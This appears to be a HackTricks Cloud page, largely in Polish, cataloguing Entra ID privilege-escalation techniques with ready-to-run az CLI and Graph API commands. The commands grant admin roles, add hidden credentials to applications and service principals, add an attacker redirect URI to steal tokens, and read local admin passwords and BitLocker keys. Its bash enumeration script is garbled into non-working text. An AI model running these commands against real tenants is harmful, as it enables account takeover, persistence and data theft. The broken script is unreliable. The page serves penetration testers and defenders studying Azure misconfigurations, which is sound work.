Az - EntraID Privesc
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
Note
Zwróć uwagę, że nie wszystkie szczegółowe uprawnienia jakie wbudowane role mają w Entra ID kwalifikują się do użycia w rolach niestandardowych.
Role
Rola: Privileged Role Administrator
Ta rola zawiera niezbędne szczegółowe uprawnienia umożliwiające przypisywanie ról podmiotom (principals) oraz nadawanie rolom dodatkowych uprawnień. Obie akcje mogą zostać nadużyte do eskalacji uprawnień.
- Przypisz rolę użytkownikowi:
# List enabled built-in roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"
# Give role (Global Administrator?) to a user
roleId="<roleId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
- Dodaj więcej uprawnień do roli:
# List only custom roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'
# Change the permissions of a custom role
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/<role-id>" \
--headers "Content-Type=application/json" \
--body '{
"description": "Update basic properties of application registrations",
"rolePermissions": [
{
"allowedResourceActions": [
"microsoft.directory/applications/credentials/update"
]
}
]
}'
Aplikacje
microsoft.directory/applications/credentials/update
Umożliwia atakującemu dodanie poświadczeń (haseł lub certyfikatów) do istniejących aplikacji. Jeśli aplikacja ma uprzywilejowane uprawnienia, atakujący może uwierzytelnić się jako ta aplikacja i uzyskać te uprawnienia.
# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
# Generate a new certificate without overwritting old ones
az ad app credential reset --id <appId> --create-cert
microsoft.directory/applications.myOrganization/credentials/update
To pozwala na te same działania co applications/credentials/update, ale ograniczone do aplikacji należących do pojedynczego katalogu.
az ad app credential reset --id <appId> --append
microsoft.directory/applications/owners/update
Dodając siebie jako właściciela, atakujący może manipulować aplikacją, w tym jej poświadczeniami i uprawnieniami.
az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append
# You can check the owners with
az ad app owner list --id <appId>
microsoft.directory/applications/allProperties/update
Atakujący może dodać redirect URI do aplikacji używanych przez użytkowników tenanta, a następnie udostępnić im login URLs korzystające z nowego redirect URI, aby wykradać ich tokens. Zauważ, że jeśli użytkownik był już zalogowany do aplikacji, uwierzytelnienie będzie odbywać się automatycznie i użytkownik nie będzie musiał niczego akceptować.
Zauważ też, że możliwe jest zmienienie permissions, o które aplikacja prosi, aby uzyskać więcej uprawnień, ale w takim przypadku użytkownik będzie musiał ponownie zaakceptować monit proszący o wszystkie permissions.
# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"
Eskalacja uprawnień aplikacji
As explained in this post często można było znaleźć domyślne aplikacje, które mają przypisane API permissions typu Application. API Permission (jak nazywa się to w konsoli Entra ID) typu Application oznacza, że aplikacja może uzyskiwać dostęp do API i wykonywać operacje bez kontekstu użytkownika (bez logowania użytkownika do aplikacji) oraz bez potrzeby posiadania ról Entra ID. W związku z tym bardzo często można znaleźć wysoko uprzywilejowane aplikacje w każdym Entra ID tenant.
Jeżeli atakujący ma jakiekolwiek uprawnienie/rolę pozwalającą na update the credentials (secret o certificate) of the application, może wygenerować nowe poświadczenie, a następnie użyć go do authenticate as the application, uzyskując wszystkie uprawnienia, które posiada aplikacja.
Zauważ, że wspomniany blog udostępniał niektóre API permissions popularnych domyślnych aplikacji Microsoft, jednak jakiś czas po tym raporcie Microsoft naprawił ten problem i teraz nie jest już możliwe logowanie się jako aplikacje Microsoft. Niemniej jednak wciąż można znaleźć custom applications with high privileges that could be abused.
How to enumerate the API permissions of an application:
# Get "API Permissions" of an App
## Get the ResourceAppId
az ad app show --id "<app-id>" --query "requiredResourceAccess" --output json
## e.g.
[
{
"resourceAccess": [
{
"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
"type": "Scope"
},
{
"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
"type": "Role"
}
],
"resourceAppId": "00000003-0000-0000-c000-000000000000"
}
]
## For the perms of type "Scope"
az ad sp show --id <ResourceAppId> --query "oauth2PermissionScopes[?id=='<id>'].value" -o tsv
az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv
## For the perms of type "Role"
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
Znajdź wszystkie uprawnienia API aplikacji i oznacz API należące do Microsoft
```bash #!/usr/bin/env bash set -euo pipefailKnown Microsoft first-party owner organization IDs.
MICROSOFT_OWNER_ORG_IDS=( “f8cdef31-a31e-4b4a-93e4-5f571e91255a” “72f988bf-86f1-41af-91ab-2d7cd011db47” )
is_microsoft_owner() { local owner=“$1” local id for id in “${MICROSOFT_OWNER_ORG_IDS[@]}”; do if [ “$owner” = “$id” ]; then return 0 fi done return 1 }
get_permission_value() { local resource_app_id=“$1” local perm_type=“$2” local perm_id=“$3” local key value key=“${resource_app_id}|${perm_type}|${perm_id}”
value=“$(awk -F ‘\t’ -v k=”$key“ ‘$1==k {print $2; exit}’ “$tmp_perm_cache”)“ if [ -n “$value” ]; then printf ‘%s\n’ “$value” return 0 fi
if [ “$perm_type” = “Scope” ]; then value=“$(az ad sp show –id “$resource_app_id” –query “oauth2PermissionScopes[?id==‘$perm_id’].value | [0]” -o tsv 2>/dev/null || true)“ elif [ “$perm_type” = “Role” ]; then value=“$(az ad sp show –id “$resource_app_id” –query “appRoles[?id==‘$perm_id’].value | [0]” -o tsv 2>/dev/null || true)“ else value=“” fi
[ -n “$value” ] || value=“UNKNOWN” printf ‘%s\t%s\n’ “$key” “$value” >> “$tmp_perm_cache” printf ‘%s\n’ “$value” }
command -v az >/dev/null 2>&1 || { echo “az CLI not found” >&2; exit 1; } command -v jq >/dev/null 2>&1 || { echo “jq not found” >&2; exit 1; } az account show >/dev/null
apps_json=“$(az ad app list –all –query ‘[?length(requiredResourceAccess) > 0].[displayName,appId,requiredResourceAccess]’ -o json)”
tmp_map=“$(mktemp)” tmp_ids=“$(mktemp)” tmp_perm_cache=“$(mktemp)” trap ‘rm -f “$tmp_map” “$tmp_ids” “$tmp_perm_cache”’ EXIT
Build unique resourceAppId values used by applications.
jq -r ‘.[][2][]?.resourceAppId’ <<<“$apps_json” | sort -u > “$tmp_ids”
Resolve resourceAppId -> owner organization + API display name.
while IFS= read -r rid; do [ -n “$rid” ] || continue sp_json=“$(az ad sp show –id “$rid” –query ‘{owner:appOwnerOrganizationId,name:displayName}’ -o json 2>/dev/null || true)“ owner=“$(jq -r ‘.owner // “UNKNOWN”’ <<<“$sp_json”)“ name=“$(jq -r ‘.name // “UNKNOWN”’ <<<“$sp_json”)“ printf ‘%s\t%s\t%s\n’ “$rid” “$owner” “$name” >> “$tmp_map” done < “$tmp_ids”
echo -e “appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tisMicrosoft\tpermissions”
Print all app API permissions and mark if the target API is Microsoft-owned.
while IFS= read -r row; do app_name=“$(jq -r ‘.[0]’ <<<”$row“)“ app_id=“$(jq -r ‘.[1]’ <<<”$row“)“
while IFS= read -r rra; do resource_app_id=“$(jq -r ‘.resourceAppId’ <<<”$rra“)“ map_line=“$(awk -F ‘\t’ -v id=”$resource_app_id“ ‘$1==id {print; exit}’ “$tmp_map”)“ owner_org=“$(awk -F’\t’ ‘{print $2}’ <<<”$map_line“)“ resource_name=“$(awk -F’\t’ ‘{print $3}’ <<<”$map_line“)“
[ -n “$owner_org” ] || owner_org=“UNKNOWN” [ -n “$resource_name” ] || resource_name=“UNKNOWN”
if is_microsoft_owner “$owner_org”; then is_ms=“true” else is_ms=“false” fi
permissions_csv=“” while IFS= read -r access; do perm_type=“$(jq -r ‘.type’ <<<”$access“)“ perm_id=“$(jq -r ‘.id’ <<<”$access“)“ perm_value=“$(get_permission_value “$resource_app_id” “$perm_type” “$perm_id”)“ perm_label=“${perm_type}:${perm_value}” if [ -z “$permissions_csv” ]; then permissions_csv=“$perm_label” else permissions_csv=“${permissions_csv},${perm_label}” fi done < <(jq -c ‘.resourceAccess[]’ <<<“$rra”)
echo -e “${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${is_ms}\t${permissions_csv}” done < <(jq -c ‘.[2][]’ <<<“$row”) done < <(jq -c ‘.[]’ <<<“$apps_json”)
</details>
## Service Principals
### `microsoft.directory/servicePrincipals/credentials/update`
Pozwala to atakującemu dodać poświadczenia do istniejących service principals. Jeśli service principal ma podwyższone uprawnienia, atakujący może przejąć te uprawnienia.
```bash
az ad sp credential reset --id <sp-id> --append
Caution
Nowo wygenerowane hasło nie pojawi się w konsoli webowej, więc może to być ukryty sposób na utrzymanie persistence dla service principal.
Z API można je znaleźć za pomocą:az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json
If you get the error "code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid." it’s because nie można modyfikować właściwości passwordCredentials SP i najpierw trzeba ją odblokować. Do tego potrzebne jest uprawnienie (microsoft.directory/applications/allProperties/update), które pozwala na wykonanie:
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
microsoft.directory/servicePrincipals/synchronizationCredentials/manage
Pozwala atakującemu dodać poświadczenia do istniejących service principals. Jeśli service principal ma podwyższone uprawnienia, atakujący może przejąć te uprawnienia.
az ad sp credential reset --id <sp-id> --append
microsoft.directory/servicePrincipals/owners/update
Podobnie jak w przypadku aplikacji, to uprawnienie pozwala dodać więcej właścicieli do service principal. Posiadanie service principal umożliwia kontrolę nad jego poświadczeniami i uprawnieniami.
# Add new owner
spId="<spId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
az ad sp credential reset --id <sp-id> --append
# You can check the owners with
az ad sp owner list --id <spId>
Caution
Po dodaniu nowego właściciela próbowałem go usunąć, ale API odpowiedziało, że metoda DELETE nie była obsługiwana, nawet jeśli to właśnie tej metody trzeba użyć, aby usunąć właściciela. Więc obecnie nie można usuwać właścicieli.
microsoft.directory/servicePrincipals/disable i enable
Te uprawnienia pozwalają wyłączyć i włączyć service principals. Attacker mógłby użyć tych uprawnień, aby włączyć service principal, do którego w jakiś sposób uzyska dostęp, żeby escalate privileges.
Zauważ, że dla tej techniki attacker będzie potrzebował więcej uprawnień, aby przejąć włączonego service principal.
# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false
# Enable
az ad sp update --id <ServicePrincipalId> --account-enabled true
microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials & microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials
Te uprawnienia pozwalają tworzyć i pobierać poświadczenia do logowania jednokrotnego (SSO), co może umożliwić dostęp do aplikacji stron trzecich.
# Generate SSO creds for a user or a group
spID="<spId>"
user_or_group_id="<id>"
username="<username>"
password="<password>"
az rest --method POST \
--uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}"
# Get credentials of a specific credID
credID="<credID>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$credID\"}"
Grupy
microsoft.directory/groups/allProperties/update
To uprawnienie umożliwia dodawanie użytkowników do privileged groups, co może prowadzić do privilege escalation.
az ad group member add --group <GroupName> --member-id <UserId>
Uwaga: To uprawnienie nie obejmuje grup przypisywalnych do ról Entra ID.
microsoft.directory/groups/owners/update
To uprawnienie pozwala zostać właścicielem grup. Właściciel grupy może kontrolować członkostwo i ustawienia grupy, co potencjalnie umożliwia eskalację uprawnień względem grupy.
az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>
Uwaga: To uprawnienie wyłącza Entra ID role-assignable groups.
microsoft.directory/groups/members/update
To uprawnienie pozwala dodawać członków do grupy. Atakujący może dodać siebie lub złośliwe konta do uprzywilejowanych grup, co może zapewnić podwyższone uprawnienia.
az ad group member add --group <GroupName> --member-id <UserId>
microsoft.directory/groups/dynamicMembershipRule/update
To uprawnienie pozwala na aktualizację reguły członkostwa w grupie dynamicznej. Attacker może zmodyfikować reguły dynamiczne, aby włączyć siebie do grup uprzywilejowanych bez jawnego dodawania.
groupId="<group-id>"
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/groups/$groupId" \
--headers "Content-Type=application/json" \
--body '{
"membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")",
"membershipRuleProcessingState": "On"
}'
Uwaga: To uprawnienie nie obejmuje grup Entra ID przypisywalnych do ról.
Dynamic Groups Privesc
Użytkownicy mogą potencjalnie eskalować uprawnienia, modyfikując własne właściwości, aby zostać dodanymi jako członkowie grup dynamicznych. Więcej informacji:
Użytkownicy
microsoft.directory/users/password/update
To uprawnienie pozwala na zresetowanie hasła użytkowników niebędących administratorami, co umożliwia potencjalnemu atakującemu eskalację uprawnień do innych użytkowników. To uprawnienie nie może być przypisane do ról niestandardowych.
az ad user update --id <user-id> --password "kweoifuh.234"
microsoft.directory/users/basic/update
To uprawnienie pozwala modyfikować właściwości użytkownika. Często występują dynamiczne grupy, które dodają użytkowników na podstawie wartości właściwości. W związku z tym to uprawnienie może pozwolić użytkownikowi ustawić wymaganą wartość właściwości, by zostać członkiem określonej dynamicznej grupy i w ten sposób eskalować uprawnienia.
#e.g. change manager of a user
victimUser="<userID>"
managerUser="<userID>"
az rest --method PUT \
--uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}'
#e.g. change department of a user
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/users/$victimUser" \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"
Conditional Access Policies & MFA bypass
Błędnie skonfigurowane conditional access policies wymuszające MFA można obejść — sprawdź:
Az - Conditional Access Policies & MFA Bypass
Urządzenia
microsoft.directory/devices/registeredOwners/update
To uprawnienie pozwala atakującym nadać sobie status właściciela urządzeń, aby uzyskać kontrolę lub dostęp do ustawień i danych specyficznych dla urządzenia.
deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
microsoft.directory/devices/registeredUsers/update
To uprawnienie pozwala attackers powiązać swoje konto z urządzeniami, aby uzyskać dostęp lub obejść polityki bezpieczeństwa.
deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
microsoft.directory/deviceLocalCredentials/password/read
To uprawnienie pozwala atakującym na odczyt właściwości zarchiwizowanych poświadczeń konta lokalnego administratora dla urządzeń dołączonych do Microsoft Entra, w tym hasła.
# List deviceLocalCredentials
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials"
# Get credentials
deviceLC="<deviceLCID>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \
BitlockerKeys
microsoft.directory/bitlockerKeys/key/read
To uprawnienie pozwala na dostęp do kluczy BitLocker, co może umożliwić atakującemu odszyfrowanie dysków, narażając poufność danych.
# List recovery keys
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys"
# Get key
recoveryKeyId="<recoveryKeyId>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"
Inne interesujące uprawnienia (TODO)
microsoft.directory/applications/permissions/updatemicrosoft.directory/servicePrincipals/permissions/updatemicrosoft.directory/applications.myOrganization/allProperties/updatemicrosoft.directory/applications/allProperties/updatemicrosoft.directory/servicePrincipals/appRoleAssignedTo/updatemicrosoft.directory/applications/appRoles/updatemicrosoft.directory/applications.myOrganization/permissions/update
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

